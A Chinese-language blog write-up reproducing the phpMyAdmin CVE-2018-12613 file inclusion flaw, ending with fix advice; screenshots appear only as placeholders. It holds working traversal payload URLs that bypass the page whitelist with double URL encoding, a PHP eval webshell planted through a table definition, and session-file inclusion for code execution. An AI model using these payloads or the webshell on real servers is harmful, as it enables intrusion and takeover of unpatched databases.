CVE-2018-12613 --- 本地文件包含造成遠程代碼執行漏洞復現

0x01 瞭解本地文件包含

LFI(本地文件包含),是指當服務器開啓allow_url_include選項時,就可以通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。

0x02 瞭解遠程代碼執行

RCE(遠程代碼執行),遠程命令執行漏洞,用戶通過瀏覽器提交執行命令,由於服務器端沒有針對執行函數做過濾,導致在沒有指定絕對路徑的情況下就執行命令,可能會允許攻擊者通過改變 $PATH 或程序執行環境的其他方面來執行一個惡意構造的代碼。

0x03 漏洞影響版本

  • Phpmyadmin Phpmyadmin 4.8.0
  • Phpmyadmin Phpmyadmin 4.8.0.1
  • Phpmyadmin Phpmyadmin 4.8.1

0x04 瞭解PHPmyadmin

phpMyAdmin是phpMyAdmin團隊開發的一套免費的、基於Web的MySQL數據庫管理工具。該工具能夠創建和刪除數據庫,創建、刪除、修改數據庫表,執行SQL腳本命令等。 phpMyAdmin 4.8.2之前的4.8.x版本中存在安全漏洞。攻擊者可利用該漏洞包含(查看並可能執行)服務器上的文件。

0x05 漏洞起因

index.php,61行
在這裏插入圖片描述
這裏的target可以直接傳值輸入,我們可以傳入一個本地文件路徑去讓其包含,就會造成LFI漏洞。
要想成功包含target,需要滿足五個條件:

  • 非空
  • 是字符串
  • 不以index開頭
  • 不在黑名單target_blacklist
  • 符合函數checkPageValidity的驗證
    接下來跟進checkPageValidity函數
    phpMyAdmin-4.8.1-english\libraries\classes\Core.php,443行
    在這裏插入圖片描述
    可以看到,要想使該函數返回true,包含的文件必須包含在白名單$whitelist中,
    下面是白名單$whitelist的內容:
    phpMyAdmin-4.8.1-english\libraries\classes\Core.php,31行
    在這裏插入圖片描述
    所以只要包含其中之一即可。
    第一個返回true的地方,page參數未做任何修飾,直接驗證是否在白名單whitelist中,無法利用
    在這裏插入圖片描述
    第二個返回true的地方,
    在這裏插入圖片描述
    函數mb_substr說明
    在這裏插入圖片描述
    函數mb_strpos說明
    在這裏插入圖片描述
    即判斷?後面的字符串是否滿足白名單,那麼我們是否可以利用跨路徑來包含文件呢?比如xxx.php?/../../../,(這裏的xxx.php當然指的就是上面提到的白名單$whitelist的內容),回答是不能的,因爲在PHP中會把?後面的內容作爲文件xxx.php中的參數,因此不能繞過。
    第三個返回true的地方,
    在這裏插入圖片描述
    與第二處的區別就是多了urldecode函數,問題就出在這裏了。
    上面提到的導致不能繞過白名單的原因就是的緣故,所以這裏用url全編碼方式對進行編碼就可以繞過。
    payload:http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?target=db_datadict.php%25%33%66/../../../../../../../../../windows/system.ini
    在這裏插入圖片描述
    include $_REQUEST[‘target’];
    就變成
    include ‘export.php%3f/../../../../../../../../../windows/system.ini'

0x06 利用方式

0x01 利用數據庫創建shell

測試發現,如果把WebShell當做數據表的字段值是可以完美的寫入到數據庫文件當中的。
登錄phpmyadmin,在test數據庫新建一個數據表,字段爲一句話木馬:

<?php @eval($_GET['s']);?>

保存。
在這裏插入圖片描述
查詢生成文件的絕對路徑
show variables like '%datadir%';
在這裏插入圖片描述
查看生成的.frm文件,shell已經成功寫入
在這裏插入圖片描述

利用本地文件包含去包含/bin/mysql/data/test/shell.frm文件即可RCE。
payload:http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?s=phpinfo();&target=db_datadict.php%25%33%66/../../../bin/mysql/mysql5.7.21/data/test/shell.frm
s爲一句話木馬的連接密碼,
可以看到,RCE已經成功。

在這裏插入圖片描述

0x02 利用session文件創建shell

執行sql語句,查看session
在這裏插入圖片描述
生成的session文件
在這裏插入圖片描述

執行payload:http://127.0.0.1/phpMyAdmin-4.8.1-english/index.php?s=phpinfo();&target=db_datadict.php%25%33%66/../../../tmp/sess_bv6e61104hvbsbkebdoikk3ke0c0er5k,成功執行
在這裏插入圖片描述

0x07 修復建議

  1. 升級版本;
  2. checkPageValidity函數返回false
    index.php,59
    在這裏插入圖片描述
    phpMyAdmin-4.8.1-english\libraries\classes\Core.php,443行
    在這裏插入圖片描述

0x08 參考文章

  1. https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog
  2. http://www.hetianlab.com/expc.do?ce=d223c7ad-cb9a-461d-bf5c-9ebd4a2f7614
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章